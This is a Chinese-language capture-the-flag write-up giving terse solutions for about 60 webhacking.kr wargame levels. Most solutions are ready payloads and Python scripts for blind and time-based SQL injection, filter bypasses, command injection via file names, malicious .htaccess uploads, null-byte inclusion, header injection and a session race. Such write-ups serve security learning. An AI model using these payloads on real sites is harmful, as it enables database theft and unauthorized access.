webhacking.kr writeup

level1


if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;//cookie[user_lv]不是数字和小数点,则值为1

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;//大于等于6,值为1

if($_COOKIE[user_lv]>5) @solve();//大于5小于6,则通关

修改cookie[user_lv]=5.5

level2

index.php的源码发现:

webhacking.kr writeup_第1张图片
1.png

cookie中发现time
当修改cookie[time]为1538965314 and 1 和1538965314 and 0时分别表现为
2.png

webhacking.kr writeup_第2张图片
3.png

通过测试发现cookie注入
在查看index.php时发现admin/目录
webhacking.kr writeup_第3张图片
4.png

admin页面有一个输入框,需要密码才能进入,通过cookie盲注获取密码
webhacking.kr writeup_第4张图片
5.png

通过设置 cookie[time]=1538965314 and length((select password from admin))>0,根据index.php的源码:2070-01-01 09:00:01,发现存在admin表和password字段。


1538965314 and length((select password from admin))=10 密码长度为10

import requests
import string

s=string.printable
url='http://webhacking.kr/challenge/web/web-02/index.php'
cookies={'PHPSESSID':''}
password=''
for i in range(1,11):
    for j in s:
        payload='1538965314 and ascii(substr((select password from admin),{0},1))={1}'.format(i,ord(j))
        cookies['time']=payload
        r=requests.get(url,cookies=cookies).content
        if '2070-01-01 09:00:01' in r:
            password+=j
            print password
            break

得到一个提示:@dM1n__nnanual

webhacking.kr writeup_第5张图片
6.png

在http://webhacking.kr/challenge/web/web-02/bbs/read.php?No=1页面发现密码框。表名是:FreeB0aRd,字段名是:password

将上面的py脚本中的admin改为FreeB0aRd,可获得password

payload='1538965314 and ascii(substr((select password from FreeB0aRd),{0},1))={1}'.format(i,ord(j))

输入密码可以获得一个加密的zip文件,使用admin给我们的提示就可以通关。

level3

拼图游戏:


webhacking.kr writeup_第6张图片
7.png

获得一个输入框,有隐藏的表单

修改value=1010100000011100101011111||1 绕过黑名单进行注入

level4

一次base64 解码,二次md5解密。

level5

点击login进入登录页面
发现http://webhacking.kr/challenge/web/web-05/mem/目录泄露
发现join.php,页面源代码发现script脚本

document.write('
');document.write('');document.write('');document.write('
id
pass
')

把这段js扔到浏览器执行可以看到注册的输入框。
注册一个admin+多个空格+a的用户
admin%20%20%20%20%20%20%20%20%20%20%20%20a
然后进入login.php登陆通关

level6

index.phps中

$val_id="guest";
$val_pw="123qwe";

将他们改为admin,执行php代码进行20次base64编码,然后替换,再写入cookie。

level7

select lv from lv1 where lv=($go)
?val=-1)union%09select(3-1
select lv from lv1 where lv=(-1)union%09select(3-1)
遇到mod_security

level8

User-Agent: a','1','admin')#
User-Agent: a
insert into lv0(agent,ip,id) values('$agent','$ip','guest')
insert into lv0(agent,ip,id) values('a','1','admin')#','$ip','guest')
select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'
select id from lv0 where agent='a'

level9

?no=if(substr(id,1,1)in(0x61),3,0)
条件成立no=3否则no=0

import requests
import string

s=string.printable
cookies={'PHPSESSID':''}
password=''
for i in range(1,12):
    for j in s:
        url='http://webhacking.kr/challenge/web/web-09/?no=if(substr(id,{0},1)in(0x{1}),3,0)'.format(i,j.encode('hex'))
        r=requests.get(url,cookies=cookies).content
        if 'Secret' in r:
            password+=j
            print password
            break

level10

id为hackme的a标签有一个onclick事件

if(this.style.posLeft==800)this.href='?go='+this.style.posLeft"

在浏览器的控制台输入
hackme.style.posLeft=799
点击a标签,会自动+1,然后跳转

level11

$pat="/[1-3][a-f]{5}_.*111.54.136.112.*\tp\ta\ts\ts/";
?val=1aaaaa_111a54a136a112%09p%09a%09s%09s

level12

js在浏览器执行

ck="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3);
alert("Password is "+ck.replace("=",""));

level13

通过?no=if((select%0Acount(flag)%0Afrom%0aprob13password)in(2),1,0)
得知flag有2个,min(flag),max(flag)分别选中
通过?no=if((select%0Asubstr(min(flag),1,1)from%0Aprob13password)in(0x63),1,0)获取flag

level14

var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;
if(ul==pw.input_pwd.value) { alert("Password is "+ul*pw.input_pwd.value); }

password=ul*2

level15

document.write("password is off_script");

level16

if(cd==124) location.href=String.fromCharCode(cd);
location.href=|

level17

webhacking.kr writeup_第7张图片
8.png

level18

?no=-1%0Aor%0A1%0Aorder%0Aby%0Aid%0Aasc
select id from challenge18_table where id='guest' and no=-1 or 1 order by id asc
等价于
select id from challenge18_table order by id asc

level19

level20

lv5frm.id.value="a";
lv5frm.cmt.value="b";
lv5frm.hack.value=lv5frm.attackme.value;
lv5frm.submit()

在一定时间内验证码有效

level21

?no=0||id=0x61646d696e&&pw%0Alike%0A0x6125%23
select * from table where no=0 || id='admin' && pw like 'b%'#

level22

在username输入admin',点击login
出现Warning: mysql_fetch_array()
admin'&&1# 回显Wrong password!
admin'&&0# 回显Wrong
admin'&&pw like 'a%'#

level23

%00截断字符串
?code=alert(1)%3B<%2Fs%00cript>

level24

extract($_COOKIE);从数组中将变量导入到当前的符号表
cookie[REMOTE_ADDR]=112277..00..00..1

level25

?file=password.php%00

level26

2次urldecode
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

level27

0)or%0A1%0Aorder%0Aby%0Aid%0Aasc-- -

level28

hint : .htaccess
echo 'php_flag engine off' > .htaccess
上传 .htaccess 文件让.php文件成为普通的文本文件,访问upload/index.php
它。
bypass mod_security

level29

payload=',(select password from c29_tb),0x3131302e35332e3133362e313132)#
sql语句:insert into table(filename,time,ip) values('',(select password from c29_tb),0x3131302e35332e3133362e3132)#','','')
ip字段需要和自己的ip一致才有回显

level30

mysql_connect()没有指定数据库的host,username,password
.htaccess可以写入php变量

php_value mysql.default_host "x.x.x.x"
php_value mysql.default_user "root"
php_value mysql.default_password "root"

level31

服务器监听端口10000-10100
nc -l 10014

level32

翻到底部


1.png

点击自己的id增加排名,第二次点击,cookie会多一个vote_check项,删掉它继续点击即可。

import requests

url='http://webhacking.kr/challenge/codeing/code5.html?hit={id}'
for i in xrange(100):
    requests.get(url,cookies={'PHPSESSID':'{phpsessid}'})

level33

step 1 ?get=hehe
step 2 POST post=hehe&&post2=hehe2
step 3 ?myip={ip}
step 4 :
import requests
import hashlib
import time

url='http://webhacking.kr/challenge/bonus/bonus-6/l4.php'
params={'password':hashlib.md5(str(int(time.time())+1)).hexdigest()}
r=requests.get(url,params=params,cookies={'PHPSESSID':'db32e08496f9f2fc76a35bfcae8d36e8'}).content
print r
step 5 POST kk=md5('user-agent') cookie[test]=md5('remote-addr')
step 6 ?{ip去除.}={ip去除.}
step 7 ?addr=127.0.0.1
step 8 ?ans=acegikmoqsuwy
strp 9 print "answerip/$ip/$answer.$ip";

level34

F12
location.href='Passw0RRdd.pww'

level35

insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])
insert into challenge35_list(id,ip,phone) values('xx','127.0.0.1',1234),('admin',{ip},8888)
?phone=1234),(char(97,100,109,105,110),char(51,49,57,46,51,57,46,49,56,48,46,55,51),8888

level36

.index.php.swp

level37

$f=@fopen("tmp/$file_nm","w");
@fwrite($f,$_SERVER[REMOTE_ADDR]);
把ip写入tmp/tmp-$time
$ck=file("tmp/tmp-$time");
$ck=$ck[0];
$socket=@fsockopen($ck,7777,$errstr,$errno,1);

import requests
import hashlib
import time

url='http://webhacking.kr/challenge/web/web-18/'
filename='tmp-'+str(int(time.time()))
r=requests.post(url,files={'upfile':(filename,'')},cookies={'PHPSESSID':''}).content
print r

level38

插入新行,伪造ip:admin

level39

$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
select 'good' from zmail_member where id='$_POST[id]
//sql语句少一个分号,输入一个分号会被替换为2个。

14个空格+一个单引号'

level40

?no=0||id=0x61646d696e#获得admin的登录框
0||id=0x61646d696e&&length(pw)=10# 密码长度为10
0||id=0x61646d696e&&pw%0Alike%0Abinary%0A0x6125# 获取密码

level41

$fn=str_replace("<","",$fn);上传一个文件名为<的文件
copy($cp,"$hidden_dir/$fn");函数报错,不能把文件复制到目录
Warning: copy()
得到$hidden_dir

level42

查看源码
?down=dGVzdC50eHQ=
?down=base64('test.zip')

level43

Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpg//修改此处

#!/usr/bin/php

level44

system("echo '$_POST[html]' ");
html='&l's'
system("echo ''&l's'") 命令注入,黑名单绕过

level45

mb_convert_encoding遇到%aa\'会把\吃掉
?id=%aa' or id=0x61646d696e#&pw=gu

level46

0||id=char(97,100,109,105,110)

level47

10.png

mail的多个header以换行分割,cc把这份邮件抄送给其他邮箱

level48

命令注入
上传文件名为 ;ls 的文件
点击delete按钮, rm upload/;ls

level49

0||id=0x61646d696e

level50

?id=q%aa'/*&pw=*/union%0Aselect%0A3%23

level51

$input_pw=md5($_POST[pw],true);
pw传入的是二进制字符。

webhacking.kr writeup_第8张图片
2.png

md5(1839431,true)=�7���ıA@J�'='��

level52

?id=blackJdog%0DSet-Cookies:%20id=blackJdog
%0A LF和%0D CR都可以换行

level53

?val=1 procedure analyse()

level54

修改2处js

aview.innerHTML+=x.responseText;
if(x.responseText=="") alert(aview.innerHTML);

level55

rank.php?score=11111||1%20 limit 2,1 procedure analyse()
找到pAsSw0RdzzzZ字段
substr,mid被过滤
?score=11111||1 and left(pAsSw0RdzzzZ,1) like 0x6325

level56

kk.php

level57

?msg=1&se=if(substr(pw,1,1)=0x61,sleep(5),0)

level58

F12
hackme.swf

level59

insert into c59 values('$_POST[id]',$_POST[phone],'guest')

id=nimda
phone=4,reverse(id)-- -

level60

cookie[PHPSESSID]不能有数字,
$session[id]唯一标识一个用户
当同一个cookie[PHPSESSID]发起多个请求,会等前一个请求结束才执行下一次请求。
用PHPSESSID=bbbb请求会获得1s的时间来访问txt文件。需要用另一个PHPSESSID=aaaa请求url?mode=auth来读取它。

cookie1.py
import requests
url='http://webhacking.kr/challenge/web/web-37/?mode=auth'
for i in xrange(100):
    r=requests.get(url,cookies={'PHPSESSID':'aaaa'})
    print r.content
cookie2.py
import requests
url='http://webhacking.kr/challenge/web/web-37/'
for i in xrange(100):
    r=requests.get(url,cookies={'PHPSESSID':'bbbb'})
    print r.content

level61

将admin字符串作为id字段的值
?id=0x61646d696e as id

你可能感兴趣的:(webhacking.kr writeup)